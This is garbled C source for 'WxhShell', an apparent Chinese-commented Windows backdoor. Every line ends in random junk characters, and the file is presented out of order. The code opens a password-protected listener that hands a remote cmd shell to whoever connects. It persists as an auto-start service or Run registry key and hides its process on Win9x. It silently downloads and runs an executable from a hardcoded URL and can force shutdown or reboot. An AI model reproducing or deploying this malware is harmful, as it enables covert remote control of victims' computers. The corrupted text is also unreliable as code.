    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wK*PD&nN  
    if(Boot(SHUTDOWN)) oY3>UZ5\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8T5k-HwE  
    else { %a 8&W  
    closesocket(wsh); #Z9L_gDp  
    ExitThread(0); Ap<J'?~y  
    } rla:<6tt  
    break; XAD3Z?  
    } la, h  
  // 获取shell 9([6d.`~  
  case 's': { nX[;^v/  
    CmdShell(wsh); .W.;~`EW  
    closesocket(wsh); }~I|t!GL  
    ExitThread(0); |*\C{b  
    break; '}{?AUDx  
  } u-><}OVf~  
  // 退出 >BoSw&T$Q  
  case 'x': { ecFi (eMD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~@9zil41  
    CloseIt(wsh); >FFVY{F  
    break; %$9bce-fcG  
    } <Dm Tj$  
  // 离开 J r*"V`  
  case 'q': { A 7Y_HIo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -!dQ)UEP  
    closesocket(wsh); d"&3Q_2CD  
    WSACleanup(); uMiyq<  
    exit(1); A3yi?y{[*  
    break; {bkGYx5.C  
        } X;EJ&g/  
  } |]ucHV  
  } )f*Iomp]@  
}76.6=~  
  // 提示信息 <GfVMD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a%J /0'(d  
} ?qT(3C9p  
  } - 9&g[  
?r3e*qJGn  
  return; "c Pz|~  
} QJXdb]Y^;  
8/q*o>[?  
// shell模块句柄 O@,i1ha%  
int CmdShell(SOCKET sock) YFvgz.>QE  
{ 4iBxPo(0  
STARTUPINFO si; !~J WYY  
ZeroMemory(&si,sizeof(si)); W_JhNe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z,+m[x=/N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r)B3es&&  
PROCESS_INFORMATION ProcessInfo;  1N.tQ^  
char cmdline[]="cmd"; cU | _  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !5.v'K'  
  return 0; ;=p;v .l  
} WZ* &@|w  
Sx&mv.?X  
// 自身启动模式 :ICr\FY$  
int StartFromService(void) ^H!Lp[5c  
{ i+ic23$4M  
typedef struct r@|ZlM@O  
{ l<N?'&  
  DWORD ExitStatus;  -$R5  
  DWORD PebBaseAddress; P"Rk?lL  
  DWORD AffinityMask; e "_"vbk  
  DWORD BasePriority; 9 z*(8d  
  ULONG UniqueProcessId; zJ_My&~  
  ULONG InheritedFromUniqueProcessId; =t.F2'<[Z  
}   PROCESS_BASIC_INFORMATION; `7_n}8NVC  
sT1j F3  
PROCNTQSIP NtQueryInformationProcess; p JX, n  
v=MzI#0L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i tW~d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HA\A$>  
?h&l tD  
  HANDLE             hProcess; Y3M','H([  
  PROCESS_BASIC_INFORMATION pbi; K~JC\a\0  
OR~GOv|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (WMLNv  
  if(NULL == hInst ) return 0;  >fwlg-  
/cY[at|p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h7RD `k:mF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P^;WB*V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V*uEJ6T  
ee\Gl?VN  
  if (!NtQueryInformationProcess) return 0; YiNo#M91  
c#x7N9;"!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p[gAZ9  
  if(!hProcess) return 0; 1eF@_Y^a!  
,whM22Af~{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qAvvXs=5  
u2om5e:  
  CloseHandle(hProcess); .lG +a!)  
_!;\R7]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %\_h7:  
if(hProcess==NULL) return 0; gyg|Tno  
|nfH-JytV  
HMODULE hMod; Bf(Mot^  
char procName[255]; )w@y(;WJ  
unsigned long cbNeeded; qIk )'!Vk  
]o!&2:'N`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `7$Oh{67  
,gx$U@0Z  
  CloseHandle(hProcess); I')x]edU  
]Y$&78u8t  
if(strstr(procName,"services")) return 1; // 以服务启动 o"f%\N0_8  
C7T;;1P?  
  return 0; // 注册表启动 $1=v.'Y  
} 5?)}F/x  
-KA4Inn]5  
// 主模块 +@^47Xu^  
int StartWxhshell(LPSTR lpCmdLine) 14;Av{Xt  
{ N~0$x,bR  
  SOCKET wsl; GZ.?MnG  
BOOL val=TRUE; $q.p$JQ:  
  int port=0; Q.uR<C6)v  
  struct sockaddr_in door; k0=|10bi  
+Hi{ /{k0N  
  if(wscfg.ws_autoins) Install(); { <~s&EPd  
X.:_"+I;  
port=atoi(lpCmdLine); w7Pe  
_i#@t7  
if(port<=0) port=wscfg.ws_port; Mj,2\ijNM  
e4?<GT   
  WSADATA data; n9wj[t1/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F BE @pd  
?|gGsm+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WMRYT"J?N]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IcO9V<Q|  
  door.sin_family = AF_INET; dcM+ylB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VQ/ <09e  
  door.sin_port = htons(port); *%z<P~}  
2>`m<&y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^glbxbhI4  
closesocket(wsl); 1h& )I%`?  
return 1; P=}H1 #  
} zl,bMtQ  
1\=pPys)  
  if(listen(wsl,2) == INVALID_SOCKET) { R20a(4 m  
closesocket(wsl); 56VE[G  
return 1; lu<Np9/5<  
} oR4fK td  
  Wxhshell(wsl); iRkOH]+K  
  WSACleanup(); 0<6rU  
.[]{ Q  
return 0; Y+}OClS  
!#l0@3  
} XtnIK  
K7n;Zb:BR  
// 以NT服务方式启动 q^Q|.&_k /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M ^ 0w/  
{ Ma n^\gkCi  
DWORD   status = 0; b0rt.XB  
  DWORD   specificError = 0xfffffff; =]2 b8  
qYQUr8{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xF2f/y   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N}eU.#L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y*h`),  
  serviceStatus.dwWin32ExitCode     = 0; ,dGFX]P  
  serviceStatus.dwServiceSpecificExitCode = 0; pQ4 %]Api  
  serviceStatus.dwCheckPoint       = 0; :qt82tbn  
  serviceStatus.dwWaitHint       = 0; 6:8EZ' y  
}UJdE#4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }7f 1(#{7  
  if (hServiceStatusHandle==0) return; S" I#>^  
H@ 1[SKBl  
status = GetLastError(); kG_&-b  
  if (status!=NO_ERROR) e2,<,~_K6  
{ \emT:Frb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^F;Z%5P=  
    serviceStatus.dwCheckPoint       = 0; \H"/2o%l")  
    serviceStatus.dwWaitHint       = 0; Oi+Qy[y2  
    serviceStatus.dwWin32ExitCode     = status; Y)@oo=oG  
    serviceStatus.dwServiceSpecificExitCode = specificError; \" 5F;J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x`/m>~_  
    return; z|oA{VxW>  
  } <yX@@8  
h$:&1jVY{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }0(vR_x  
  serviceStatus.dwCheckPoint       = 0; N6-2*ES  
  serviceStatus.dwWaitHint       = 0; Ae,2Xi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?];~N5<'  
} $j$\ccG  
vQ9 xG))  
// 处理NT服务事件,比如:启动、停止 #8WR{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a78;\{&L'  
{ &@`H^8  
switch(fdwControl) 3P=Eb!qtdD  
{ ba8-XA_~U  
case SERVICE_CONTROL_STOP: =1uj1.h  
  serviceStatus.dwWin32ExitCode = 0; )dzjz%B)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [57V8%  
  serviceStatus.dwCheckPoint   = 0; }(f,~?CP]  
  serviceStatus.dwWaitHint     = 0; $u0+29T2O  
  { 1.u gXD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FW6E)df  
  } f%(e,KgW=  
  return; \?p9qR;"4  
case SERVICE_CONTROL_PAUSE: oeRYyJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b ?=  
  break; gFH;bZU  
case SERVICE_CONTROL_CONTINUE: V2<k0@y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _bvtJZ3i  
  break; eO"\UDBV  
case SERVICE_CONTROL_INTERROGATE: %te'J G<  
  break; ,<Do ^HB/  
}; 2t Z\{=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7J)Hwl  
} %\s#e  
tjc5>T[Es8  
// 标准应用程序主函数 0B!mEg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JsoWaD  
{ f;qKrw  
hVQ+ J!qD  
// 获取操作系统版本 ttJ:[ R'  
OsIsNt=GetOsVer(); -* -zU#2|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ix_$Ok  
LRLhS<9  
  // 从命令行安装 uDMUy"8&!  
  if(strpbrk(lpCmdLine,"iI")) Install(); jv?aB   
k6 h^  
  // 下载执行文件 1v8:,!C  
if(wscfg.ws_downexe) { dBi3ZC AF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S+bWD7  
  WinExec(wscfg.ws_filenam,SW_HIDE); CUTEp/+  
} } cH"lppX  
.k?hb]2N  
if(!OsIsNt) { t]YLt ,  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ltq*Vcl\  
HideProc(); |Jx2"0:M  
StartWxhshell(lpCmdLine); /:c,v-  
} c]/O^/  
else  q;He:vX  
  if(StartFromService()) i}&mz~  
  // 以服务方式启动 P.2.Ge|  
  StartServiceCtrlDispatcher(DispatchTable); B39PDJ]hu  
else {)dEO0 p  
  // 普通方式启动 4UX]S\X  
  StartWxhshell(lpCmdLine);  p% YvP  
+~v3D^L15  
return 0; .L 5T4)  
} D} <o<Dk  
crOtQ  
<@;xV_`X+  
d .lu  
=========================================== ZkV vL4yIK  
-uY:2  
sn T4X  
c Dh4@V  
5)zj){wL  
H1c|b !C  
" aDJjVD  
uq1(yyWp(  
#include <stdio.h> }A&Xxh!Fwo  
#include <string.h> J&0wl]w|O%  
#include <windows.h> Ga/\kO)x_  
#include <winsock2.h> '_yk_[/  
#include <winsvc.h> e+=G-u5}-  
#include <urlmon.h> RBp(dKxM$w  
-<HvhW  
#pragma comment (lib, "Ws2_32.lib") QH? 2v  
#pragma comment (lib, "urlmon.lib") eRWF7`HH+  
W*WH .1&  
#define MAX_USER   100 // 最大客户端连接数 ->#@rF:S  
#define BUF_SOCK   200 // sock buffer UOL%tT  
#define KEY_BUFF   255 // 输入 buffer yl;$#aZB  
mjr{L{H=?+  
#define REBOOT     0   // 重启 ."@a1_F|  
#define SHUTDOWN   1   // 关机 Y_iF$ m/R  
)<&CnK  
#define DEF_PORT   5000 // 监听端口 !5 :1'$d]H  
\iTPJcb5  
#define REG_LEN     16   // 注册表键长度 p]IhQnj2  
#define SVC_LEN     80   // NT服务名长度 'rx,f  
^Y*.Ktp,o  
// 从dll定义API o9SfWErZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b}{9 :n/SC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >|&OcU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ba:du |Ec  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RgzSaP;;  
2|H'j~  
// wxhshell配置信息 U3iyuE  
struct WSCFG { ng)yCa_Ny  
  int ws_port;         // 监听端口 [g 68O*  
  char ws_passstr[REG_LEN]; // 口令 K#pt8Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no %!/liS  
  char ws_regname[REG_LEN]; // 注册表键名 #i#.tc  
  char ws_svcname[REG_LEN]; // 服务名 $ax%K?MBD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )k<~}wvQ0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =+#RyV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +OuG!3+w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <:}AC{I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E$zq8-p|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WiCM,wDi  
4 Fc1 '  
}; tf}Q%)`f  
:zy'hu;  
// default Wxhshell configuration thboHPml{  
struct WSCFG wscfg={DEF_PORT, nf@u7*# 6  
    "xuhuanlingzhe", z\ $>k_  
    1, >Zp]vK~s  
    "Wxhshell", xM"XNT6b  
    "Wxhshell", qk{UO <  
            "WxhShell Service", [#h!3d|?B  
    "Wrsky Windows CmdShell Service", oUS>p":  
    "Please Input Your Password: ", BGYm]b\j[  
  1, K`83C`w.  
  "http://www.wrsky.com/wxhshell.exe", P\4o4MF@K  
  "Wxhshell.exe" TVh7h`Eg  
    }; :s985sEv  
[ :(M<u`y>  
// 消息定义模块 F[giq 1#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }K]VlFR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P VW9iT+c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T k=3"y+u[  
char *msg_ws_ext="\n\rExit."; FQ ^^6Rl  
char *msg_ws_end="\n\rQuit."; _BA_lkN+D  
char *msg_ws_boot="\n\rReboot..."; iSW73P;)  
char *msg_ws_poff="\n\rShutdown..."; |*| a~t  
char *msg_ws_down="\n\rSave to "; ':>*=&  
J]YN2{(x  
char *msg_ws_err="\n\rErr!"; PSw+E';  
char *msg_ws_ok="\n\rOK!"; <Q~7a hF  
xa^HU~  
char ExeFile[MAX_PATH]; QX3![;0F  
int nUser = 0; a;6\T*iJ!  
HANDLE handles[MAX_USER]; {Ag}P0% '  
int OsIsNt; P`v~L;f  
-L<Pm(v&  
SERVICE_STATUS       serviceStatus; hWe}(Ks  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L#N.pd  
KPcuGJ  
// 函数声明 r6_a%A*  
int Install(void); =_:L wmI  
int Uninstall(void); u(a&x|WY  
int DownloadFile(char *sURL, SOCKET wsh); 6?x{-Zj ^?  
int Boot(int flag); vrDRSc6_  
void HideProc(void); < tq9  
int GetOsVer(void); _cs9R%  
int Wxhshell(SOCKET wsl); *F&&rsb  
void TalkWithClient(void *cs); +Y[+2=lO  
int CmdShell(SOCKET sock); 0'}?3/u-  
int StartFromService(void); E%:zE Q  
int StartWxhshell(LPSTR lpCmdLine); vw6FvE`lC  
muq|^Hfb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @S:/6__  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zQ _[wM-  
$q+`GXc-  
// 数据结构和表定义 ^*W<$A_  
SERVICE_TABLE_ENTRY DispatchTable[] = U.0/r!po  
{ v%Q7\X(  
{wscfg.ws_svcname, NTServiceMain}, }}Uv0g8D  
{NULL, NULL} ><7`$2Or  
}; zSXC  
~jTn jx  
// 自我安装 Qeog$g.HI  
int Install(void) *G=AhH$t  
{ *s4!;2ZhsU  
  char svExeFile[MAX_PATH]; =^M t#h."  
  HKEY key; j06oAer 9  
  strcpy(svExeFile,ExeFile); Z9^$jw]  
H >{K]7D/y  
// 如果是win9x系统,修改注册表设为自启动 EKD>c$T^  
if(!OsIsNt) { ?8m/]P/~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6p{x2>2y[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); []Ea0jYu  
  RegCloseKey(key); nd1*e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,~iAoxD5jY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0G 1o3[F  
  RegCloseKey(key); ~` hcgCi%  
  return 0; K),wAZI!7j  
    } xxn&{\ ?  
  } g_X7@Dt  
} %Q~Lk]B?t  
else { ::`wx@  
0E[Se|!  
// 如果是NT以上系统,安装为系统服务 4et#Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^)pY2t<^  
if (schSCManager!=0) +60;z4y}w  
{ ?O ?~|nI  
  SC_HANDLE schService = CreateService #"JU39e  
  ( {r8CzJ'f  
  schSCManager, ]f~YeOB@  
  wscfg.ws_svcname, x"80c(i  
  wscfg.ws_svcdisp, |i8dI)b  
  SERVICE_ALL_ACCESS, \&90$>h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7A-rF U$  
  SERVICE_AUTO_START, 1hG O*cq!  
  SERVICE_ERROR_NORMAL, $)~]4n=  
  svExeFile, mio'm  
  NULL, XQ+hTtP  
  NULL, -9"Ls?Cu  
  NULL, |L&V-f&K  
  NULL, 3MVZ*'1QM\  
  NULL I,;)pWX=@  
  ); )O Cr6UR  
  if (schService!=0) t |hmEHUk  
  { bwFc>{Wo5  
  CloseServiceHandle(schService); -y( V-  
  CloseServiceHandle(schSCManager); B=Os?'2[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0]~n8mB>  
  strcat(svExeFile,wscfg.ws_svcname); .Ps;O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XN;eehB?aE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H!u:P?j@\  
  RegCloseKey(key); 8=9sIK2  
  return 0; "kC>EtaX  
    } ?_r"Fg;"  
  } _K>m9Q2  
  CloseServiceHandle(schSCManager); <-pbLL9  
} $@j7VPE  
} /<Et   
*1n:  
return 1; 8ic_|hfY  
} /H% pOL6(r  
QPEv@laM  
// 自我卸载 BKEB,K=K@  
int Uninstall(void) O 7sn>uO  
{ < lrw7T  
  HKEY key; )J0VB't  
t;'.D @  
if(!OsIsNt) { _HQa3wj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yw0uF  
  RegDeleteValue(key,wscfg.ws_regname); ?`>yl4  
  RegCloseKey(key); dp"w=~53  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Me>'QVr  
  RegDeleteValue(key,wscfg.ws_regname); DI7trR`  
  RegCloseKey(key); 9P$'ON'"  
  return 0; 9[*kpMC  
  } \=<.0K A~  
} 6>Y}2fT}o3  
} iC]}M  
else { v oxlo>:  
#a&Vx&7L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +!(hd  
if (schSCManager!=0) |7-tUHMo[  
{ HNPr| (  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AVjtK  
  if (schService!=0) ES>3Cf  
  { OjI*HC  
  if(DeleteService(schService)!=0) { C&T3vM  
  CloseServiceHandle(schService); ElAG~u?  
  CloseServiceHandle(schSCManager); e|LXH/H  
  return 0; DxBt83e  
  } &}uO ]0bR  
  CloseServiceHandle(schService); pK`rm"6G  
  } itU01  
  CloseServiceHandle(schSCManager); l O^h)hrR  
} fomkwN  
} v\c3=DbO  
khfE<<$=  
return 1; or<JjTJ\o_  
} i/L1KiCLx  
hmo?gD<  
// 从指定url下载文件 &,/T<V  
int DownloadFile(char *sURL, SOCKET wsh) @'<|B. f  
{ 82vx:*Ip!}  
  HRESULT hr; UgP5^3F2  
char seps[]= "/"; /d4xHt5a  
char *token; P<hqr;  
char *file; -~q]0>  
char myURL[MAX_PATH]; Z%Gvf~u  
char myFILE[MAX_PATH]; OW>U 5 \q  
TwN8|ibVmP  
strcpy(myURL,sURL); -h_v(s2  
  token=strtok(myURL,seps); #E1*1E  
  while(token!=NULL) 5c#L6 dA)  
  { k[p  
    file=token; q )[g VL  
  token=strtok(NULL,seps); 9&tV#=s  
  } J}x5Ko@  
|z~?"F6 Y<  
GetCurrentDirectory(MAX_PATH,myFILE); p,+~dn;=  
strcat(myFILE, "\\"); l>ttxYBa<d  
strcat(myFILE, file); Qi%A/~  
  send(wsh,myFILE,strlen(myFILE),0); z 4-wvn<*  
send(wsh,"...",3,0); t^'1Ebg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tL~|/C)d R  
  if(hr==S_OK) D7%89qt  
return 0; <3qbgn>}b  
else ^\!p ;R  
return 1; e:l 6;  
R3~&|>7/T  
} (F)zj<{f  
ivm.ng[  
// 系统电源模块 A9#2.5  
int Boot(int flag) t*x;{{jL#(  
{ %(E6ADB  
  HANDLE hToken; .28*vkH%C=  
  TOKEN_PRIVILEGES tkp; DXUI/C f  
b?$3jOtW  
  if(OsIsNt) { P'K')]D=!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4q[r KNl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iT%UfN/q=I  
    tkp.PrivilegeCount = 1; sxqX R6p{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,LW0{(&z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -[F^~Gv|;  
if(flag==REBOOT) { o+na`ed  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z(Vrmz2.  
  return 0; Oe273Y^e  
} ,wV2ZEW}e  
else { %vksN$^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j% nd  
  return 0; ~i \69q%  
} ^K"`k43{  
  } ]?r8^LyZ4  
  else { i8{jMe!Sa  
if(flag==REBOOT) { 0nS6<:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IE6/ E  
  return 0; @dXf_2Tv=  
} CtfSfSAUuu  
else { zQ [mO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GA|q[<U  
  return 0; mVkn~LD:0  
} |qr[*c3$1  
} ~`BOz P  
/b*@dy  
return 1; ,9rT|:N  
} =4[zt^WX"  
IV *}w"r  
// win9x进程隐藏模块 f|`{P P`\  
void HideProc(void) 1>2397  
{ H)p{T@  
&5a>5ZG}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3w@)/ujn  
  if ( hKernel != NULL ) S HvML  
  { zx!1jS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _CZ*z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t5_`q(:  
    FreeLibrary(hKernel); ;(afz?T  
  } ]oY~8HW  
k\[2o  
return; 56 )B/0=  
} iZ:-V8{  
QIw.`$H+  
// 获取操作系统版本 aql*@8 )m  
int GetOsVer(void) 1a' JNe$  
{ jfWIPN  
  OSVERSIONINFO winfo; pZR^ HOq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }'{(rU  
  GetVersionEx(&winfo); |QY+vO7fxj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &M2x`  
  return 1; 8RK\B%UW  
  else QdRMp n}q  
  return 0; JDP#tA3  
} JWBWa-  
D|S)/o6  
// 客户端句柄模块 6R<%. -qr  
int Wxhshell(SOCKET wsl) A +p}oY '  
{ ZLV~It&)  
  SOCKET wsh; ge` J>2  
  struct sockaddr_in client; jm?mO9p~  
  DWORD myID; MG<~{Y84}  
X6;aF ;"5  
  while(nUser<MAX_USER) Y~CS2%j  
{ EKt-C_)U  
  int nSize=sizeof(client); eDm,8Se  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,lUo@+  
  if(wsh==INVALID_SOCKET) return 1; J]N}8 0  
qdm!]w.G5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r=k}EP&<  
if(handles[nUser]==0)  WsoB!m  
  closesocket(wsh); Mqpo S  
else Nr)(&c8  
  nUser++; ~\^8 ^  
  } _#+9)*A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .{} t[U  
2rH6ap  
  return 0; |N g[^  
} nYe}d!  
|EApKxaKD  
// 关闭 socket A~6 Cs  
void CloseIt(SOCKET wsh) F,W(H@ ~x  
{ H^s SHj  
closesocket(wsh); \uaJw\EZ  
nUser--; lN&GfPP6  
ExitThread(0); zEGwQp<  
} gV7o eZ5  
q8D1MEBL`  
// 客户端请求句柄 [brrziZ  
void TalkWithClient(void *cs) @!S$gTz  
{ EAI[J&c  
f]lDJ?+ M  
  SOCKET wsh=(SOCKET)cs; i6-K!  
  char pwd[SVC_LEN]; #=tWCxf=  
  char cmd[KEY_BUFF]; *vb)d0}P  
char chr[1]; c1/x,1LnMf  
int i,j; uqnZ  
0eLK9u3<  
  while (nUser < MAX_USER) { ^\I$tnY`  
?{2-,M0  
if(wscfg.ws_passstr) { ALv\"uUNu+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -1o1k-8d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mc8^{br61  
  //ZeroMemory(pwd,KEY_BUFF); 83h3C EQ  
      i=0; v+OVZDf  
  while(i<SVC_LEN) { jQDxbkIuzE  
u2eq VrY  
  // 设置超时 \Q$);:=q Q  
  fd_set FdRead; gXQ)\MY  
  struct timeval TimeOut; . FruI#99  
  FD_ZERO(&FdRead); o]Ki+ U  
  FD_SET(wsh,&FdRead); V OX>Sl  
  TimeOut.tv_sec=8; P TP2QAt  
  TimeOut.tv_usec=0; D%A-& =  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c[I,Sveq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e'6?iLpy  
..t=Y#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8ah]D  
  pwd=chr[0]; Gl:AS PZ6  
  if(chr[0]==0xd || chr[0]==0xa) { x:xQXjJ  
  pwd=0; {)y4Qp  
  break; _H,RcpyJ  
  } 6i4j(P  
  i++; V;V9_qP,  
    } \5Jv;gc\\  
p .HA `R>  
  // 如果是非法用户,关闭 socket `#ztp)&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oW_WW$+N  
} A3n"zxU  
-'(:Sq,4o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (}:xs,Ax  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GZ={G2@=I  
".\(A f2  
while(1) { |?> h$'  
tu'MYY  
  ZeroMemory(cmd,KEY_BUFF); l.BNe)1!22  
D H^^$)  
      // 自动支持客户端 telnet标准   [=Z{y8#:J  
  j=0; .>YJ9 5&\  
  while(j<KEY_BUFF) { ~I<y^]2{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $enh45Wy  
  cmd[j]=chr[0]; ;w>B}v;RE  
  if(chr[0]==0xa || chr[0]==0xd) { %c0;Bb-  
  cmd[j]=0; Q ZlUUj\  
  break; -AE/,@\P  
  } DXt^Ym5Cv  
  j++; 1<83MO;  
    } 2XtQ"`)  
eG v"&kr  
  // 下载文件 zN1;v6;  
  if(strstr(cmd,"http://")) { ,b4&$W].  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Z0\I\E  
  if(DownloadFile(cmd,wsh)) xpM~* Gpm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )N<!3yOz  
  else >U)O@W)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9:> K!@  
  } 5IK@<#wE  
  else { 2. _cEY34  
9m6j?CFG}  
    switch(cmd[0]) { @-}]~|<  
